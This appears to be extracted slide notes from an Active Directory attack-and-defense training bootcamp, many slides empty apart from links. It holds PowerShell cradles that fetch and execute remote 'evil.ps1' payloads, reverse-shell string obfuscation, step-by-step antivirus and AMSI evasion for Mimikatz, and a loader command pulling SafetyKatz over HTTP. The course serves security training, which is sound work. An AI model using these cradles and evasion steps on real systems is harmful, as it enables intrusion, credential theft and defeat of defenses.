Attacking and Defending ActiveDirectory - SlideNotes
Attacking and Defending ActiveDirectory - SlideNotes
Join https://t.me/offenciveSec 1
About me
• Twitter - @nikhil_mitt
• Founder of Altered Security - alteredsecurity.com
• GitHub - github.com/samratashok
• Creator of Nishang, Deploy-Deception, RACE toolkit and more
• Interested in Active Directory, Offensive PowerShell and Azure security
• Previous Talks and/or Trainings
– DEF CON, BlackHat, BruCON and more.
Join https://t.me/offenciveSec 2
Altered Security
• Trained more than 40000 security professionals from more than 130 countries!
• Our Red Team Labs Platform enables labs to be:
– Affordable
– Easy to Access
– Stable and provide great user experience
– Fun to Solve
– Big enough to feel enterprise-like
Join https://t.me/offenciveSec 3
Course Content
• Module 1
– Introduction to Active Directory and Attack Methodology
– Offensive PowerShell and .NET tradecraft
– Domain Enumeration
• Module 2
– Local Privilege Escalation
– Lateral Movement
– Domain Privilege Escalation
• Module 3
– Domain Persistence
– Cross Trust Attacks
• Module 4
– Bypassing Defenses (MDE and MDI)
– Monitoring and Detections
Join https://t.me/offenciveSec 4
Goal
• The bootcamp is beginner friendly and assumes no previous experience with active
directory security. Although, you are expected to understand basics of Active
Directory.
• This course introduces a concept, demonstrates how an attack can be executed and
then have Learning Objective section where students can practice on the lab.
• The lab, like a real-world red team operation, forces you to use built-in tools as long
as possible and focus on functionality abuse. So, in this course, we will NOT use any
exploits and exploitation framework.
• We start from a foothold box as a normal domain user.
• Everything is not on the slides :)
Join https://t.me/offenciveSec 5
Word of Caution
• In scope:
– 172.16.1.0/24 - 172.16.17.0/24
• Everything else is NOT in scope.
• Attacking out of scope machines (including fellow students' machines)
may result in disqualification from the lab.
• Please do not try to access the internet from any lab machine.
• Please treat the lab network as a dangerous environment and take care
of yourself!
Join https://t.me/offenciveSec 6
Philosophy of the course
• We will emulate an adversary who has a foothold machine in the target
domain.
• We will not use any exploit in the class and will solely depend on abuse
of functionality and features with are rarely patched.
• We try to use the built-in tools and avoid touching disk on any target
server as long as possible. We will not use any exploitation framework in
the class.
Join https://t.me/offenciveSec 7
Active Directory
• Directory Service used to managed Windows networks.
• Stores information about objects on the network and makes it easily
available to users and admins.
• "Active Directory enables centralized, secure management of an entire
network, which might span a building, a city or multiple locations
throughout the world."
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-
server-2003/cc780036(v=ws.10)
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-
started/virtual-dc/active-directory-domain-services-overview
Join https://t.me/offenciveSec 8
Attacking and Defending Active Directory - Beginner's
AlteredSecurity 9
Edition Bootcamp
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-
server-2003/cc780036(v=ws.10)
Join https://t.me/offenciveSec 9
Active Directory - Components
• Schema - Defines objects and their attributes.
• Query and index mechanism - Provides searching and publication of
objects and their properties.
• Global Catalog - Contains information about every object in the
directory.
• Replication Service - Distributes information across domain controllers.
Join https://t.me/offenciveSec 10
Active Directory - Structure
• Forests, domains and organizational units (OUs) are the basic building
blocks of any active directory structure.
• A forest - which is a security
boundary - may contain
multiple domains and each
domain may contain multiple
OUs.
Join https://t.me/offenciveSec 11
https://learn.microsoft.com/en-us/powershell/scripting/overview
Join https://t.me/offenciveSec 12
Join https://t.me/offenciveSec
PowerShell Script Execution
• Download execute cradle
iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')
$ie=New-Object -ComObject
InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1
');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','http://192.168.230.1/evil.ps1',$false);$h.send();iex
$h.responseText
$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
Join https://t.me/offenciveSec 14
PowerShell Detections
• System-wide transcription
• Script Block logging
• AntiMalware Scan Interface (AMSI)
• Constrained Language Mode (CLM) - Integrated with Applocker and
WDAC (Device Guard)
Join https://t.me/offenciveSec 15
15 ways to bypass PowerShell execution policy
https://www.netspi.com/blog/entryid/238/15-ways-to-bypass-the-powershell-
execution-policy
Join https://t.me/offenciveSec 16
PowerShell Tradecraft
• Offensive PowerShell is not dead.
• The detections depend on your target organization and if you are using
customized code.
• There are bypasses and then there are obfuscated bypasses!
• Remember, the focus of the class is Active Directory :)
Join https://t.me/offenciveSec 17
Bypassing PowerShell Security
• We will use Invisi-Shell (https://github.com/OmerYa/Invisi-Shell) for
bypassing the security controls in PowerShell.
• The tool hooks the .NET assemblies
(System.Management.Automation.dll and System.Core.dll) to bypass
logging
• It uses a CLR Profiler API to perform the hook.
• "A common language runtime (CLR) profiler is a dynamic link library
(DLL) that consists of functions that receive messages from, and send
messages to, the CLR by using the profiling API. The profiler DLL is
loaded by the CLR at run time."
https://github.com/OmerYa/Invisi-
Shell/blob/master/InvisiShellProfier/InvisiShellProfiler.cpp
https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-
api/profiling/profiling-overview
Join https://t.me/offenciveSec 18
Bypassing PowerShell Security
Using Invisi-Shell
• With admin privileges:
RunWithPathAsAdmin.bat
• Type exit from the new PowerShell session to complete the clean-up.
Join https://t.me/offenciveSec 19
Bypassing AV Signatures for PowerShell
• We can always load scripts in memory and avoid detection using AMSI bypass.
• How do we bypass signature based detection of on-disk PowerShell scripts by Windows Defender?
• We can use the AMSITrigger (https://github.com/RythmStick/AMSITrigger) or DefenderCheck
(https://github.com/t3hbb/DefenderCheck) to identify code and strings from a binary or script that
Windows Defender may flag.
Join https://t.me/offenciveSec 20
Bypassing AV Signatures for PowerShell
• Steps to avoid signature based detection are pretty simple:
1) Scan using AMSITrigger
2) Modify the detected code snippet
3) Rescan using AMSITrigger
4) Repeat the steps 2 & 3 till we get a result as “AMSI_RESULT_NOT_DETECTED” or
“Blank”
Join https://t.me/offenciveSec 21
Bypassing AV Signatures for PowerShell - Invoke-
PowerShellTcp
• Scan using AMSITrigger
Join https://t.me/offenciveSec 22
Bypassing AV Signatures for PowerShell - Invoke-
PowerShellTcp
• Reverse the "Net.Sockets" string on line number 32
$String = "stekcoS.teN"
$class = ([regex]::Matches($String,'.','RightToLeft') | ForEach
{$_.value}) -join ''
if ($Reverse)
{
$client = New-Object System.$class.TCPClient($IPAddress,$Port)
}
• Check again with AMSITrigger!
Join https://t.me/offenciveSec 23
Bypassing AV Signatures for PowerShell – PowerUp
– Script Modification
• Using only the minimal portion of a script is also useful.
• We can remove the part of a script that is getting detected but is not
used.
• For this we can scan the script with DefenderCheck and then use the
ByteToLineNumber.ps1 script in the C:\AD\Tools folder.
Join https://t.me/offenciveSec 24
Bypassing AV Signatures for PowerShell – PowerUp
– Script Modification
• Scan using DefenderCheck
• Here, we can see the
detection part is at the
offset 0x1DCD2.
• We can find the line number
of the detected part using
ByteToLineNumber.ps1
script
Join https://t.me/offenciveSec 25
Bypassing AV Signatures for PowerShell – PowerUp
– Script Modification
• Running the script, we find the line number for the detected
offset is 1984.
Join https://t.me/offenciveSec 26
Bypassing AV Signatures for PowerShell – PowerUp
– Script Modification
• Navigate to line 2640 in any
text editor, we see that it is
the start of a base64
encoded binary, which is
getting detected.
Join https://t.me/offenciveSec 27
Bypassing AV Signatures for PowerShell – PowerUp
– Script Modification
• Scrolling up, we see the
binary is used in the
function "Write-
ServiceBinary".
• We can delete the base64
encoded binary that is
getting detected or remove
the entire function.
Join https://t.me/offenciveSec 28
Bypassing AV Signatures for PowerShell - PowerUp
• Check the script after removing the detected portion and it would be
marked safe!
Join https://t.me/offenciveSec 29
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
• Invoke-Mimikatz is THE most heavily signature PowerShell script!
• We must rename it before scanning with AmsiTrigger or we get an access denied.
Join https://t.me/offenciveSec 30
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
• There are multiple detections. We need to make the following changes:
1. Remove default comments.
2. Rename the script, function names and variables.
3. Modify the variable names of the Win32 API calls that are detected.
4. Obfuscate PEBytes content → PowerKatz dll using packers.
5. Implement a reverse function for PEBytes to avoid any static signatures.
6. Add a sandbox check to waste dynamic analysis resources.
7. Remove Reflective PE warnings for a clean output.
8. Use obfuscated commands for Invoke-MimiEx execution.
9. Analysis using DefenderCheck.
Join https://t.me/offenciveSec 31
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
1. Remove all default embedded comments such as follows:
Join https://t.me/offenciveSec 32
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
2. Rename the script and Invoke-Mimikatz function to Invoke-Mimi and
replace variables such as DumpCreds to something like DC.
Join https://t.me/offenciveSec 33
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
3. Modify the variable names of the Win32 API calls that are detected -
"VirtualProtect", WriteProcessMemroy" and "CreateRemoteThread"
Join https://t.me/offenciveSec 34
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
4. Even if all static signatures are
avoided, PEBytes content
(base64 encodedPowerKatz dll)
is still detected by AMSI after
execution.
ProtectMyTooling: https://github.com/mgeeky/ProtectMyTooling
Join https://t.me/offenciveSec 35
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
5. Convert the powerkatz dll into base64 and next reverse the string and use it as
PEBytes64rev.
Finally implement code to reverse this string for execution to bypass static detections.
Join https://t.me/offenciveSec 36
Bypassing AV Signatures for PowerShell - Invoke-Mimikatz
$EvidenceOfSandbox = New-Object System.Collections.ArrayList
Join https://t.me/offenciveSec
Bypassing AV Signatures for PowerShell - Invoke-Mimikatz
Join https://t.me/offenciveSec
Bypassing AV Signatures for PowerShell - Invoke-Mimikatz
$Pwn = $a + $b + $c + $d + $e + $f + $g + $h + $i + $j
Join https://t.me/offenciveSec
Bypassing AV Signatures for PowerShell - Invoke-Mimikatz
9. Finally, analyzing the scripts for any further detections we find that both Invoke-
Mimi and Invoke-MimiEx now remain undetected.
C:\AD\Tools\DefenderCheck> .\DefenderCheck.exe C:\AD\Tools\Invoke-Mimi.ps1
[+] No threat found in submitted file!
Join https://t.me/offenciveSec
Offensive .NET - Introduction
• Currently, .NET lacks some of the security features implemented in
System.Management.Automation.dll.
• Because of this, many Red teams have included .NET in their tradecraft.
• There are many open source Offensive .NET tools and we will use the
ones that fit our attack methodology.
Join https://t.me/offenciveSec 41
Offensive .NET - Tradecraft
• When using .NET (or any other compiled language) there are some challenges
– Detection by countermeasures like AV, EDR etc.
– Delivery of the payload (Recall PowerShell's sweet download-execute
cradles)
– Detection by logging like process creation logging, command line logging
etc.
• We will try and address the AV detection and delivery of the payload as and
when required during the class ;)
• You are on your own when the binaries that we share start getting detected
by Windows Defender!
Attacking and Defending Active Directory - Beginner's
AlteredSecurity 42
Edition Bootcamp
Join https://t.me/offenciveSec 42
Offensive .NET - Tradecraft - AV bypass
• We will focus mostly on bypass of signature-based detection by
Windows Defender.
• For that, we can use techniques like Obfuscation, String Manipulation
etc.
• We can again use DefenderCheck to identify code and strings from a
binary that Windows Defender may flag.
• This helps us in deciding on modifying the source code and minimal
obfuscation.
• We can also use source code obfuscation.
Join https://t.me/offenciveSec 43
Offensive .NET - Tradecraft - AV bypass – Source
Code Obfuscation
• Tools such as Codecepticon (https://github.com/Accenture/Codecepticon) can also
obfuscate the source code to bypass any signature-related detection.
• Codecepticon needs to be compiled in Visual Studio and it’s command line
generator can help generate an obfuscation command quickly.
Join https://t.me/offenciveSec 44
Offensive .NET - Tradecraft - AV bypass - Source
Code Obfuscation
• Compile the project in Visual Studio and navigate to the output directory, to open
the CommandLineGenerator.html file.
• Here, you can decide how you want to obfuscate the source code.
Join https://t.me/offenciveSec 45
Offensive .NET - Tradecraft - AV bypass - Source
Code Obfuscation
• You can also use the following command to obfuscate the source code with
Codecepticon:
C:\AD\Tools\Codecepticon.exe --action obfuscate --module csharp --verbose -
-path "C:\AD\Tools\Rubeus-master\Rubeus.sln" --map-file "
C:\AD\Tools\Rubeus-master\Mapping.html" --profile rubeus --rename ncefpavs
--rename-method markov --markov-min-length 3 --markov-max-length 10 --
markov-min-words 3 --markov-max-words 5 --string-rewrite --string-rewrite-
method xor
Join https://t.me/offenciveSec 46
Offensive .NET - Tradecraft - AV bypass - Source
Code Obfuscation
• With the command, Codecepticon will obfuscate everything in the .NET source code
of the Rubeus project:
Join https://t.me/offenciveSec 47
Offensive .NET - Tradecraft - AV bypass - Source
Code Obfuscation
• If you now open up the project in Visual Studio, all the
structs/enums/parameters/variables/etc, will have been renamed.
Join https://t.me/offenciveSec 48
Offensive .NET - Tradecraft - AV bypass - ConfuserEx
• A great tool to obfuscate the compiled binary is ConfuserEx
(https://mkaring.github.io/ConfuserEx/)
• ConfuserEx is a free .NET obfuscator, which can stop AVs from performing signature
based detection.
Join https://t.me/offenciveSec 49
Offensive .NET - Tradecraft - AV bypass - ConfuserEx
• Run ConfuserEx GUI from C:\AD\Tools directory.
• Add the Release folder of the compiled binary to ConfuserEx
Join https://t.me/offenciveSec 50
Offensive .NET - Tradecraft - AV bypass - ConfuserEx
• Download ConfuserEx GUI from the “Releases” page and simply run it.
• Add the Release folder of the compiled binary to ConfuserEx
Join https://t.me/offenciveSec 51
Offensive .NET - Tradecraft - AV bypass - ConfuserEx
• Add a new Rule in the settings page
• Double click the rule and set the preset to “Maximum”
Join https://t.me/offenciveSec 52
Offensive .NET - Tradecraft - AV bypass - ConfuserEx
• Finally, in the protect page, click "Protect: to produce the obfuscated binary.
• Verify with DefenderCheck.
Join https://t.me/offenciveSec 53
Offensive .NET - Tradecraft - Payload Delivery
• We can use NetLoader (https://gist.github.com/Arno0x/2b223114a726be3c5e7a9cacd25053a2) to
deliver our binary payloads.
• It can be used to load binary from filepath or URL and patch AMSI & ETW
while executing.
C:\Users\Public\Loader.exe -path
http://172.16.100.X/SafetyKatz.exe
• We are using NetLoader with CsWhispers project to add D/Invoke and indirect
syscall execution as NetLoader uses classic Process Injection WinAPIs which is
flagged on basic import table analysis.
CsWhispers - https://github.com/rasta-mouse/CsWhispers
Original NetLoader - https://github.com/Flangvik/NetLoader
Join https://t.me/offenciveSec 54
Offensive .NET - Tradecraft - Payload Delivery
Steps to use Loader with CsWhispers:
1. Download CsWhispers, open it in Visual Studio and Check 'Allow unsafe code'
under build configuration.
2. Create a new file called CsWhispers.txt under CsWhispers.Sample and append
NT API and struct equivalents that are required to be replaced in the NetLoader
project.
3. Finally, append the NetLoader project into CSWhispers.Sample and replace
appropriate WinAPIs with their NT equivalents. Build the solution.
4. Obfuscate the generated assembly using Nimcrypt2.
Join https://t.me/offenciveSec 55
Offensive .NET - Tradecraft - Payload Delivery
Steps to use Loader with CsWhispers:
1. Download CsWhispers, open it in Visual Studio and Check 'Allow unsafe code'
under build configuration..
Join https://t.me/offenciveSec 56
Offensive .NET - Tradecraft - Payload Delivery
Steps to use Loader with CsWhispers:
2. Create a new file called CsWhispers.txt under CsWhispers.Sample and append
NT API and struct equivalents that are required to be replaced in the NetLoader
project.
Join https://t.me/offenciveSec 57
Offensive .NET - Tradecraft - Payload Delivery
Steps to use Loader with CsWhispers:
3. Finally, append the NetLoader project into CSWhispers.Sample and replace
appropriate WinAPIs with their NT equivalents. An example replacement for the
VirtualProtect WINAPI can be found below. Build the solution.
Join https://t.me/offenciveSec 58
Offensive .NET - Tradecraft - Payload Delivery
Steps to use Loader with CsWhispers:
4. Obfuscate the generated assembly using Nimcrypt2.
kali> ./nimcrypt -f CSWhispers.Sample.exe -e -n -s --no-ppid-spoof -o Loader.exe -t csharp
Join https://t.me/offenciveSec 59
Methodology - Assume Breach
"It is more likely that an organization has already been compromised, but just
hasn't discovered it yet."
Join https://t.me/offenciveSec 60
Methodology - Assume Breach
• Insider Attack Simulation is an important part of the Assume Breach
Execution Cycle.
• In this class, we are going to use the Assume Breach Methodology on an
Active Directory Environment and use internal access available with an
adversary to perform further attacks.
Join https://t.me/offenciveSec 61
Attack Methodology
Join https://t.me/offenciveSec 62
The Lab Environment
• The target Active Directory environment is of a fictional financial
services company called 'moneycorp'.
• Moneycorp has
− Fully patched Server 2022 machines with Windows Defender.
− Server 2016 Forest Functional Level.
− Multiple forests and multiple domains.
• Minimal firewall usage so that we focus more on concepts.
• Logon to https://adlab.enterprisesecurity.io for accessing the lab
Join https://t.me/offenciveSec 63
The Lab Environment
Join https://t.me/offenciveSec 64
Domain Enumeration
Join https://t.me/offenciveSec 65
Domain Enumeration
• For enumeration we can use the following tools
− The ActiveDirectory PowerShell module (MS signed and works even in PowerShell CLM)
https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps
https://github.com/samratashok/ADModule
Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
− PowerView (PowerShell)
https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1
. C:\AD\Tools\PowerView.ps1
https://janikvonrotz.ch/2015/09/09/deploy-powershell-activedirectory-module-
without-installing-the-remote-server-tools/
https://www.labofapenetrationtester.com/2018/10/domain-enumeration-from-
PowerShell-CLM.html
Join https://t.me/offenciveSec 66
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
https://www.netspi.com/blog/technical-blog/network-pentesting/powerhuntshares-
2-0-release
Join https://t.me/offenciveSec
Domain Enumeration - BloodHound
• Provides GUI for AD entities and relationships for the data collected by
its ingestors.
• Uses Graph Theory for providing the capability of mapping shortest path
for interesting things like Domain Admins.
• There are built-in queries for frequently used actions.
• Also supports custom Cypher queries.
Join https://t.me/offenciveSec 79
Domain Enumeration - BloodHound
• There are two free versions of BloodHound
1. BloodHound Legacy - https://github.com/BloodHoundAD/BloodHound
2. BloodHound CE (Community Edition) - https://github.com/SpecterOps/BloodHound
Join https://t.me/offenciveSec 80
Domain Enumeration - BloodHound Legacy
• Supply data to BloodHound:
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\BloodHound-
master\BloodHound-master\Collectors\SharpHound.exe -args --
collectionmethods All
Join https://t.me/offenciveSec 81
Domain Enumeration - BloodHound CE
• Supply data to BloodHound:
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Sharphound\SharpHound.exe -
args --collectionmethods All
• Remember that you have Read-only access to the share web UI in the
lab.
Join https://t.me/offenciveSec 82
Domain Enumeration - BloodHound
• To make BloodHound collection stealthy, remove noisy collection
methods like RDP, DCOM, PSRemote and LocalAdmin.
• Use the -ExcludeDCsto avoid detection by MDI:
• Remember to remove the 'CertServices' collection method when using BloodHound legacy collector.
Join https://t.me/offenciveSec 83
Domain Enumeration - SOAPHound
• Use SOAPHound for even more stealth.
• It talks to Active Driectory Web Services (ADWS - Port 9389) in place of sending
LDAP queries - just like the AD Module.
– Almost no network-based detection (like MDI).
– It retrieves information about all objects (objectGuid=*) and then process them.
It means limited LDAP queries - less chance of endpoint detection.
https://falconforce.nl/soaphound-tool-to-collect-active-directory-data-via-adws/
https://github.com/FalconForceTeam/SOAPHound
Join https://t.me/offenciveSec 84
Join https://t.me/offenciveSec 85
Reference: https://learn.microsoft.com/en-us/windows/win32/secauthz/access-
control-model
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Reference: https://learn.microsoft.com/en-us/windows/win32/secauthz/dacls-and-
aces
Join https://t.me/offenciveSec
Active Directory Rights: https://learn.microsoft.com/en-
us/dotnet/api/system.directoryservices.activedirectoryrights?view=dotnet-plat-ext-
7.0
Extended Rights: https://learn.microsoft.com/en-us/previous-versions/tn-
archive/ff405676(v=msdn.10)
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 91
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-
policy/group-policy-overview
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 98
Reference:
https://learn.microsoft.com/en-us/entra/identity/domain-services/concepts-forest-
trust
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-
server-2003/cc773178(v=ws.10)
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 110
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Privilege Escalation
• In an AD environment, there are multiple scenarios which lead to privilege
escalation. We had a look at the following
– Hunting for Local Admin access on other machines
– Hunting for high privilege domain accounts (like a Domain Administrator)
• Let's also look for Local Privilege Escalation.
Join https://t.me/offenciveSec
https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-
find-credentials-in-them
https://www.ired.team/offensive-security/credential-access-and-credential-dumping
https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-
find-credentials-in-them
Join https://t.me/offenciveSec
https://github.com/gentilkiwi/mimikatz
Unofficial mimikatz guide:
https://adsecurity.org/?p=2207
Join https://t.me/offenciveSec
https://github.com/GhostPack/SafetyKatz
https://github.com/SecureAuthCorp/impacket/
Join https://t.me/offenciveSec
Reference for logon types: https://www.alteredsecurity.com/post/fantastic-windows-
logon-types-and-where-to-find-credentials-in-them
Join https://t.me/offenciveSec
https://github.com/GhostPack/Rubeus/
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 146
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 149
http://passing-the-hash.blogspot.com/2014/09/pac-validation-20-minute-rule-
and.html
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
https://adsecurity.org/?p=1785
https://adsecurity.org/?p=1714
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 174
https://learn.microsoft.com/en-us/windows/win32/secauthn/ssp-packages-provided-
by-Microsoft
https://attack.mitre.org/wiki/Technique/T1101
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
https://learn.microsoft.com/en-us/previous-versions/technet-
magazine/ee361593(v=msdn.10)
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-
best-practices/appendix-c--protected-accounts-and-groups-in-active-directory
https://adsecurity.org/?p=1906
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-
adts/dd3d29f3-8e1e-4e8c-a210-9eaef3abd628
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
https://www.ossir.org/paris/supports/2017/2017-04-11/2017-04-
11_Active_directory_v2.5.pdf
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
https://gallery.technet.microsoft.com/Invoke-SDPropagator-to-c99ae41c
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 192
Join https://t.me/offenciveSec 193
Reference: https://learn.microsoft.com/en-us/windows/win32/secauthz/ace-strings
Join https://t.me/offenciveSec
https://github.com/jim3ma/crunch
https://github.com/r3nt0n/bopscrk
https://github.com/digininja/CeWL
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 204
https://harmj0y.medium.com/roasting-as-reps-e6179a65216b
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
http://www.labofapenetrationtester.com/2016/02/getting-domain-admin-with-
kerberos-unconstrained-delegation.html
https://adsecurity.org/?p=1667
